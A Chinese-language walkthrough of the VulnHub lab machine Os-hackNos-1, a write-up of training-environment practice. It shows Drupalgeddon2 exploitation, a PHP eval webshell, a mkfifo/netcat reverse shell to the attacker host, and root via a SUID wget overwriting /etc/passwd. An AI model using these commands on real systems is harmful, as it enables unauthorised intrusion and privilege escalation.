Vulnhub--Os-hackNos-1

Vulnhub--Os-hackNos-1
一,部署方法
1.?在官網(wǎng)上下載zip壓縮包
2.?下載到本地上解壓縮后使用虛擬機導(dǎo)入.ova后綴的文件(在過程中出現(xiàn)問題不用理睬,點擊重試即可)
3.?配置網(wǎng)絡(luò),本人設(shè)置的是nat模式,這個看個人需求
4.?打開靶機即可
二,靶機地址和描述
1.?下載地址
https://download.vulnhub.com/hacknos/Os-hackNos-1.ova
2.?靶機描述

難度:容易到中級
要找到兩個flag和一個root用戶
三.測試
1.?信息收集
首先輸入arp-scan -l獲取靶機的IP

這里發(fā)現(xiàn)靶機的地址為154,攻擊機為156
使用nmap深度掃描靶機,查看是否開啟某些端口可以利用
nmap -A -T4 -p- 192.168.237.154

發(fā)現(xiàn)靶機開啟了22端口SSH服務(wù),80端口web服務(wù)。
那既然發(fā)現(xiàn)靶機開放了web服務(wù),那就訪問一下查看

發(fā)現(xiàn)是apache的頁面,沒有什么有用的信息,那就目錄爆破一下下

發(fā)現(xiàn)這時提示一條新的URL,進行訪問查看

發(fā)現(xiàn)是一個Drupal7的CMS頁面,這時發(fā)現(xiàn)james像是一個人名,繼續(xù)在頁面中搜尋功能點。
沒有什么有用的發(fā)現(xiàn),這時突然想起有針對于Drupal7的漏洞Poc。在github上進行搜索。
發(fā)現(xiàn)真的搜到了關(guān)于drupal7的漏洞利用
?


這就發(fā)現(xiàn)破綻,可以getshell了。
2.?Getshell
首先下載漏洞文件
git clone https://github.com/dreadlocked/Drupalgeddon2.git? ?

進入Drupalgeddon2的目錄下

使用drupalgeddon2.rb對目標(biāo)網(wǎng)站進行掃描
./drupalgeddon2.rb http://192.168.237.154/drupal

?發(fā)現(xiàn)缺少依賴,再下載一個依賴庫
gem install highline

再次重新進行掃描

成功獲得shell

?可惜獲得的權(quán)限太低。
這時發(fā)現(xiàn)現(xiàn)在所處的位置在drupal站點下面,也就是說現(xiàn)在所看到的信息都可以在網(wǎng)頁上展示出來,這時進行信息的搜集工作。
在CHANGELOG.txt中發(fā)現(xiàn)CMS的具體版本。

在INSATLL.txt中發(fā)現(xiàn)這么一個文件總是被提及:/sites/default/settins.php

懷疑是drupalCMS的配置文件,進行查看

發(fā)現(xiàn)無法查看。這時想到drupal的版本號,在GitHub上搜索一下,可能存在exp

果然存在
使用命令進行安裝exp
發(fā)現(xiàn)沒法鏈接到GitHub,(校園網(wǎng)服服了)
那就只能下載ZIP到本機在移動到kali中去

這里使用python3進行工具的使用。
3.?使用exp對靶機信息的深層收集

先查看一下參數(shù)
這時發(fā)現(xiàn)-c參數(shù)可以執(zhí)行系統(tǒng)命令,那使用這個工具進行查看sites/default/settings.php文件是不是可以。
輸入命令
python3 drupa7-CVE-2018-7600.py http://192.168.237.154/drupal/ -c "cat sites/default/settings.php"

發(fā)現(xiàn)沒什么有用的信息。
突然想到一個思路點子:如果可以執(zhí)行命令,那我們是否可以寫入一句話木馬,通過蟻劍進行連接,然后通過蟻劍終端進行反彈shell。
4.?利用命令執(zhí)行漏洞進行g(shù)etshell
新建一個文件夾并在其中新建一個shell.php的文件,其中寫入一句話木馬

<?php eval(@$_POST['HK']);??>
這時在當(dāng)前文件夾內(nèi)開啟python3的server服務(wù)。


這時使用漏洞點進行命令執(zhí)行通過攻擊機的開啟的服務(wù)下載一句話木馬。


?成功下載到CMS的目錄下,使用web進行訪問

?

空白,使用蟻劍進行鏈接

成功使用蟻劍進行鏈接。
這時查看目錄,發(fā)現(xiàn)在/home下有一個james用戶存在user.txt文件,而這個文件剛好于開始的CMS頁面上的名字一樣,這是普通用戶

這時進行反彈shell的嘗試,首先在攻擊機上進行監(jiān)聽

在靶機上嘗試反彈shell可以說是一路不順,因為靶機的netcat的版本不對,禁用了-e參數(shù),這時嘗試進行bash下的反彈shell都以失敗告終,又發(fā)現(xiàn)在靶機上存在python3的環(huán)境,又嘗試使用python的腳本進行反彈shell,不出所料,還是失敗了。這時想到了在web下抓包寫的命令執(zhí)行的反彈shell的語句,因為在web下寫的命令執(zhí)行的語句最后也是在靶機上的運行,所以不妨使用這個命令進行嘗試反彈shell,果然....這個成功了。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.237.156 3333 >/tmp/f
在這里命令下成功反彈shell

輸入命令,創(chuàng)建出一個交互性shell
Python3 -c ‘import pty;prt.spawn(“/bin/bash”)’

又到了一年一度的提權(quán)過程
5.?提權(quán)
首先進行后臺的信息收集工作

在/var/www/html目錄下尋找到了一個可疑文件alexander.txt,查看后發(fā)現(xiàn)是一段亂碼文件,看文件格式應(yīng)該是base64加密后的,復(fù)制下來進行解密。

解密后發(fā)現(xiàn)這又是一串密文,搜索一下得知是barin fuck的加密方式,使用網(wǎng)頁進行解密

發(fā)現(xiàn)是用戶名和密碼的組合:james:Hacker@4514
這時想到在剛開始的信息收集中靶機開放了22端口,ssh服務(wù)。產(chǎn)生進行登錄

密碼不正確,這條路堵死。
既然提權(quán),那這時嘗試使用命令查找是否存在提權(quán)的命令或文件。
find / -perm -u=s -type f 2>/dev/null

這里發(fā)現(xiàn)wget命令和passwd的文件,是否可以使用這兩個東西進行提權(quán):例如從攻擊機上使用wget下載passwd文件,替換原來的文件進行提權(quán)。
首先將整個passwd的文件復(fù)制到攻擊機上,保存為passwd文件

使用命令生成用戶名和密碼

將root的格式復(fù)制出來,對照著root的格式,更改成自己的格式

將自己的用戶名和密碼保存進passwd中

使用wget將攻擊機上的passwd下載到靶機并更換/etc/passwd

查看passwd文件,發(fā)現(xiàn)修改成功

這時使用juzi登錄

發(fā)現(xiàn)權(quán)限為root
進行根目錄,找到最后的flag

成功滲透。
四.總結(jié)
1.?信息收集
2.?利用已知漏洞點進行g(shù)etshll
3.?反彈shell新方式
4.?利用wget提權(quán)
?
?
?